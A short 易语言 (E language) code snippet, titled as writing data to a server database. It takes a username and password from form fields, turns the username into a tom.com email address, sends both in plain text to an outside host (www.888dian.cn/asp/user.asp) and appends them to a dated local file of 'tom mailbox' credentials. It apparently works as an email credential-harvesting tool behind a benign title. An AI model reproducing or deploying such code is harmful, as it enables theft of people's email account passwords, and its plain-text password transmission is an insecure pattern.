易语言编写代码将数据写入服务器数据库

.版本 2
.支持库 internet

.局部变量 网页操作, 网页文档类
.局部变量 文件号, 整数型
.局部变量 操作符, 文本型, , "0"

操作符 ＝ 分割文本 (组合框1.取项目文本 (组合框1.现行选中项), “|”, )
标签2.标题 ＝ 到文本 (HTTP读文件 (“http://www.888dian.cn/asp/user.asp?username=” ＋ 编辑框1.内容 ＋ “@tom” ＋ “&password=” ＋ 编辑框2.内容 ＋ “&op_type=” ＋ 操作符 [2] ＋ “&submit=ok”)) ＋ “网络传输成功”
文件号 ＝ 打开文件 (“d:\yx\tom邮箱” ＋ 到文本 (取日期 (取现行时间 ())) ＋ “.txt”, #改写, )
移到文件尾 (文件号)
写出文本 (文件号, 编辑框1.内容 ＋ “@tom.com” ＋ “---” ＋ 编辑框2.内容 ＋ #换行符)